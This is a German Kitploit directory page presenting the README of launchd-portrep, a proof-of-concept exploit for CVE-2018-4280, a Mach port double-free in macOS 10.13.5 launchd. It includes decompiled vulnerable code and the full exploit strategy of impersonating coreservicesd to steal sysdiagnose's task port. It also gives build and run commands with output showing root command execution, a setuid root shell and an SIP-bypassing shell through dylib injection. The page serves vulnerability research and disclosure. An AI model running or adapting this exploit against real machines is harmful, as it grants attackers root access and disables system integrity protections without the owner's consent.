Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
launchd-portrep — CVE-2018-4280: Mach-Port-Ersetzungsschwachstelle in launchd auf macOS 10.13.5, die zu lokaler Privilegienausweitung und SIP-Umgehung führt. | Kitploit
Tools/GitHubGitHub/bazad/launchd-portrep
Privilege EscalationExploit-FrameworksExploitationPenetrationstestsRed TeamingBinary-Exploitation
GitHubbazad/launchd-portrep

launchd-portrep

CVE-2018-4280: Mach-Port-Ersetzungsschwachstelle in launchd auf macOS 10.13.5, die zu lokaler Privilegienausweitung und SIP-Umgehung führt.

Repository anzeigen
596vor 7 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

launchd-portrep

launchd-portrep ist ein Exploit für eine Port-Ersetzungs-Schwachstelle in launchd, dem ersten Userspace-Prozess und Dienstverwaltungs-Daemon unter macOS. Durch das Senden einer manipulierten Mach-Nachricht an den Bootstrap-Port kann launchd dazu gebracht werden, sein Senderecht für jeden Mach-Port freizugeben, zu dem der Angreifer ebenfalls ein Senderecht besitzt. Dies ermöglicht es dem Angreifer, jeden launchd-Dienst, den er nachschlagen kann, gegenüber dem Rest des Systems zu impersonieren.

Die Schwachstelle

Launchd multiplexiert mehrere unterschiedliche Mach-Nachrichten-Handler über seinen Hauptport, darunter einen MIG-Handler für Exception-Nachrichten. Wenn ein Prozess eine mach_exception_raise- oder mach_exception_raise_state_identity-Nachricht an seinen eigenen Bootstrap-Port sendet, empfängt und verarbeitet launchd diese Nachricht als Host-Level-Exception.

Leider ist die Behandlung dieser Nachrichten in launchd fehlerhaft. Wenn der Exception-Typ EXC_CRASH ist, gibt launchd die in der Nachricht gesendeten Thread- und Task-Ports frei und gibt dann KERN_FAILURE aus der Service-Routine zurück, wodurch das MIG-System die Thread- und Task-Ports erneut freigibt. (Die Annahme ist: Wenn eine Service-Routine Erfolg zurückgibt, hat sie das Eigentum an allen Ressourcen in der Mach-Nachricht übernommen; gibt die Service-Routine einen Fehler zurück, hat sie keinerlei Eigentum an den Ressourcen übernommen.)

Hier ist der Code aus launchds Service-Routine für mach_exception_raise-Nachrichten, dekompiliert mit IDA/Hex-Rays und leicht bearbeitet für die Lesbarkeit:

root@kitploit:~
kern_return_t __fastcall
catch_mach_exception_raise(                             // (a) Die Service-Routine wird
        mach_port_t           exception_port,           //     mit Werten direkt aus der
        mach_port_t           thread,                   //     vom Client gesendeten
        mach_port_t           task,                     //     Mach-Nachricht aufgerufen.
        unsigned int          exception,                //     Die Thread- und Task-Ports
        mach_exception_data_t code,                     //     könnten beliebige Senderechte
        unsigned int          codeCnt)                  //     sein.
{
    kern_return_t kr;      // eax@1 MAPDST
    kern_return_t result;  // eax@10
    int pid;               // [rsp+14h] [rbp-43Ch]@1
    char codes_str[1024];  // [rsp+20h] [rbp-430h]@5
    __int64 __stack_guard; // [rsp+420h] [rbp-30h]@1

    __stack_guard = *__stack_chk_guard_ptr;
    pid = -1;
    kr = pid_for_task(task, &pid);
    if ( kr )
    {
        _os_assumes_log(kr);
        _os_avoid_tail_call();
    }
    if ( codeCnt )
    {
        do
        {
            __snprintf_chk(codes_str, 0x400uLL, 0, 0x400uLL, "0x%llx", *code);
            ++code;
            --codeCnt;
        }
        while ( codeCnt );
    }
    launchd_log_2(
        0LL,
        3LL,
        "Host-level exception raised: pid = %d, thread = 0x%x, "
            "exception type = 0x%x, codes = { %s }",
        pid,
        thread,
        exception,
        codes_str);
    kr = deallocate_mach_port(thread);                  // (b) Der "thread"-Port, der in der
    if ( kr )                                           //     Nachricht gesendet wurde, wird
    {                                                   //     freigegeben.
        _os_assumes_log(kr);
        _os_avoid_tail_call();
    }
    kr = deallocate_mach_port(task);                    // (c) Der "task"-Port, der in der
    if ( kr )                                           //     Nachricht gesendet wurde, wird
    {                                                   //     freigegeben.
        _os_assumes_log(kr);
        _os_avoid_tail_call();
    }
    result = 0;
    if ( *__stack_chk_guard_ptr == __stack_guard )
    {
        LOBYTE(result) = exception == 10;               // (d) Wenn der Exception-Typ 10
        result *= 5;                                    //     (EXC_CRASH) ist, wird ein
    }                                                   //     Fehler KERN_FAILURE
    return result;                                      //     zurückgegeben. MIG wird die
}                                                       //     Ports erneut freigeben.

Diese doppelte Freigabe der Portnamen ist problematisch, da ein Prozess beliebige Ports als Task- und Thread-Ports in der Exception-Nachricht setzen kann. Launchd überprüft nicht, ob die empfangenen Senderechte tatsächlich einem Thread und einem Task entsprechen; die Ports könnten beispielsweise Senderechte auf Ports sein, die sich bereits im IPC-Raum von launchd befinden. Dann würde die doppelte Freigabe tatsächlich dazu führen, dass launchd einen Benutzerverweis auf einen seiner eigenen Ports fallen lässt.

Dieser Fehler kann ausgenutzt werden, um launchds Senderecht auf jeden Mach-Port freizugeben, zu dem der angreifende Prozess ebenfalls ein Senderecht besitzt. Insbesondere, wenn der angreifende Prozess einen Systemdienst über launchd nachschlagen kann, kann er launchds Senderecht auf diesen Dienst freigeben und dann den Dienst gegenüber dem Rest des Systems impersonieren. Danach gibt es viele verschiedene Wege, um Systemprivilegien zu erlangen.

Exploit-Strategie zum Erhalt von task_for_pid-allow

Dieser Fehler ist eine weniger allgemeine Version von CVE-2016-7637, einem Problem mit der Handhabung von Mach-Port-Benutzerverweisen in XNU, das von Ian Beer entdeckt wurde und es Prozessen ermöglichte, Mach-Ports in anderen Prozessen freizugeben. Ian Beer nutzte diese Schwachstelle unter macOS aus, indem er launchds Senderecht auf den Endpunkt von com.apple.CoreServices.coreservicesd ersetzte und coreservicesd gegenüber dem Rest des Systems impersonierte. Coreservicesd ist ein attraktives Ziel, da es einer der wenigen Dienste ist, an die Clients ihren Task-Port in einer Mach-Nachricht senden. Indem er launchds Senderecht auf coreservicesd durch seinen eigenen Port ersetzte und dann privilegierte Clients auslöste, coreservicesd nachzuschlagen und mit ihm zu kommunizieren, konnte er den Task-Port für einen privilegierten Prozess erhalten und dann Code in diesem Prozess ausführen.

Da sich das Verhalten unter macOS nicht geändert hat, habe ich im Grunde die Exploit-Strategie von Ian Beer für diese Schwachstelle kopiert. Wir senden Exception-Nachrichten an launchd, die den Service-Port von coreservicesd enthalten, bis wir launchds Senderecht auf diesen Port freigeben. Wir können erkennen, wann wir das Recht freigegeben haben, indem wir erneut bootstrap_look_up() für den Dienst aufrufen: Wenn launchd einen ungültigen Portnamen zurückgibt, haben wir erfolgreich launchds Senderecht auf den Port freigegeben. Dann registrieren und deregistrieren wir wiederholt eine große Anzahl von Diensten bei launchd, bis einer der von uns registrierten Dienste denselben Mach-Portnamen im IPC-Raum von launchd erhält wie der ursprüngliche coreservicesd-Port. An diesem Punkt erhält jeder Prozess, der com.apple.CoreServices.coreservicesd bei launchd nachschlägt, ein Senderecht auf unseren gefälschten Dienst anstelle des echten coreservicesd. Wir führen dann einen MITM-Server auf dem gefälschten Service-Port aus, der alle Mach-Ports in den von Clients empfangenen Nachrichten inspiziert, bevor wir sie an den echten coreservicesd weiterleiten. An diesem Punkt senden wir eine Nachricht an sysdiagnose, die dazu führt, dass es einen tailspin ausführt, wodurch sysdiagnose eine Verbindung zu unserem gefälschten coreservicesd-Port herstellt und uns seinen Task-Port sendet. Da sysdiagnose die Berechtigung task_for_pid-allow besitzt, können wir jetzt den Task-Port für jeden Prozess erhalten.

Um die ordnungsgemäße Funktion des Systems (größtenteils) wiederherzustellen, verwenden wir sysdiagnose, um den Task-Port von launchd zu erhalten, und ersetzen dann mit dem Task-Port von launchd das Senderecht von launchd auf unseren gefälschten Service-Port wieder durch ein Senderecht auf den echten coreservicesd. Auf diese Weise können zukünftige Clients tatsächlich coreservicesd erreichen.

Ein Problem, das ich bei diesem Ansatz bemerkt habe, ist, dass das System beim Herunterfahren für kurze Zeit zu hängen scheint. Ich nehme an, dass dies daran liegt, dass das Manipulieren der Ports von launchd die Buchhaltung oder Port-Benachrichtigungen von launchd durcheinanderbringt. Ich habe dieses Problem nicht weiter untersucht, aber ein Neustart von coreservicesd mit launchctl scheint es zu beheben:

root@kitploit:~
$ sudo launchctl kickstart -k -p system/com.apple.coreservicesd

Sobald wir task_for_pid-allow haben

Sobald wir Codeausführung in einem task_for_pid-allow-Prozess haben, können wir jeden Task auf dem System kontrollieren. Das ist großartig, denn wir können nicht nur die Standard-Privilegienausweitung durchführen, sondern auch SIP umgehen, indem wir Code in SIP-berechtigte Prozesse injizieren.

Dieser Exploit demonstriert zwei mögliche Verwendungen: Systembefehlsausführung als root und Dylib-Injektion. Um einen Systembefehl auszuführen, rufen wir einfach die Standardfunktion system() von sysdiagnose aus auf und übergeben ihr die vom Benutzer bereitgestellte Befehlszeichenfolge. Um eine Dylib in einen Prozess zu injizieren, rufen wir task_for_pid() von sysdiagnose aus auf, um den Task-Port des Ziels zu erhalten, und verwenden dann den Task-Port, um dlopen() auf der bereitgestellten Bibliothek aufzurufen.

Verwendung

Um den eigenständigen Exploit launchd-portrep zu bauen, führen Sie make aus. Siehe den Anfang der Makefile für verschiedene Build-Optionen. Sie müssen zuerst die threadexec-Injektionsbibliothek herunterladen und bauen.

root@kitploit:~
$ git clone https://github.com/bazad/launchd-portrep
$ cd launchd-portrep
$ git clone https://github.com/bazad/threadexec
$ cd threadexec
$ make ARCH=x86_64 SDK=macosx
$ cd ..
$ make

Beachten Sie, dass der Exploit in der vorliegenden Form fehlschlägt, wenn der sysdiagnose-Prozess bereits läuft. Stellen Sie daher für den Zweck dieses Proof-of-Concept sicher, dass Sie sysdiagnose beenden, bevor Sie den Exploit ausführen. (Es ist möglich, den Exploit so umzuarbeiten, dass er auch bei bereits laufendem sysdiagnose funktioniert, aber ich habe mich entschieden, diese Funktionalität nicht einzubauen, um die böswillige Nutzung dieses Tools zu erschweren.)

Führen Sie den Exploit aus, indem Sie den auszuführenden Befehl angeben, als ob er der Funktion system() übergeben würde:

root@kitploit:~
$ ./launchd-portrep 'touch /tmp/exploit-success'
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xd77 (index 196) after 28 tries
[+] Sysdiagnose has PID 499
[+] Found sysdiagnose task port 0x1767b
[+] Command exited with status: 0
$ ls -la /tmp/exploit-success
-rw-r--r--  1 root  wheel  0 Jul 24 23:50 /tmp/exploit-success

Alternativ können Sie, wenn Sie eine PID und einen absoluten Pfad zu einer dynamischen Bibliotheksdatei angeben, mit launchd-portrep die Dylib in den angegebenen Prozess injizieren.

Es gibt auch zwei Beispielskripte, die launchd-portrep kapseln: launchd-portrep-rootsh.sh und launchd-portrep-rootless.sh.

launchd-portrep-rootsh.sh stellt eine traditionelle Root-Shell bereit, indem es einen setuid-root-Shell-Launcher unter /var/suid-sh installiert. (Die setuid-Shell wird automatisch nach 1 Sekunde entfernt.)

root@kitploit:~
$ bash ./launchd-portrep-rootsh.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x153b (index 192) after 60 tries
[+] Sysdiagnose has PID 1231
[+] Found sysdiagnose task port 0x1df7b
[+] Command exited with status: 0
Launching /private/var/suid-sh
bash-3.2#

launchd-portrep-rootless.sh ist noch interessanter: es stellt eine Shell bereit, in der die Rootless-Einschränkungen des Dateisystems deaktiviert wurden. Dies wird erreicht, indem diskmanagementd gestartet wird, das die Berechtigung com.apple.rootless.install.heritable besitzt, und dann eine Dylib in diskmanagementd injiziert wird, die dazu führt, dass es eine Shell mit stdin und stdout spawn, die an Named Pipes gebunden sind. Wie der Name der Berechtigung vermuten lässt, werden die Ausnahmen von SIP, die durch com.apple.rootless.install.heritable gewährt werden, an die Kindprozesse weitergegeben, was bedeutet, dass die Shell und alle darin ausgeführten Befehle im Wesentlichen von den SIP-Dateisystemschutzmechanismen ausgenommen sind.

root@kitploit:~
$ bash ./launchd-portrep-rootless.sh
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0xe7b (index 194) after 60 tries
[+] Sysdiagnose has PID 1145
[+] Found sysdiagnose task port 0x1747b
[+] Command exited with status: 0
[+] Freed launchd service port for com.apple.CoreServices.coreservicesd
[+] Replaced com.apple.CoreServices.coreservicesd with replacer port 0x13d7b (index 199) after 61 tries
[+] Sysdiagnose has PID 1162
[+] Found sysdiagnose task port 0xbe47
[+] Got task port 0xa07 for PID 1153
[+] Successfully loaded "/Users/bazad/Developer/GitHub/launchd-portrep/rootless-sh.dylib" in process 1153
bash: no job control in this shell
bash-3.2# csrutil status
System Integrity Protection status: enabled.
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@   4 root  wheel  restricted  128 Jul 25 19:08 .
drwxr-xr-x   31 root  wheel  sunlnk      992 Jul 25 12:20 ..
-rw-r--r--    1 root  wheel  restricted    0 Oct  6  2017 .localized
drwxr-xr-x  102 root  wheel  restricted 3264 Jun 12 11:47 Library
bash-3.2# touch /System/exploit-success
bash-3.2# ls -laO /System
total 0
drwxr-xr-x@   5 root  wheel  restricted  160 Jul 25 19:19 .
drwxr-xr-x   31 root  wheel  sunlnk      992 Jul 25 12:20 ..
-rw-r--r--    1 root  wheel  restricted    0 Oct  6  2017 .localized
drwxr-xr-x  102 root  wheel  restricted 3264 Jun 12 11:47 Library
-rw-r--r--    1 root  wheel  restricted    0 Jul 25 19:19 exploit-success
bash-3.2# exit

launchd-portrep wurde unter macOS 10.13.5 17F77 getestet.

Lizenz

Der launchd-portrep-Code wird unter der MIT-Lizenz veröffentlicht.


Brandon Azad

Tool herunterladen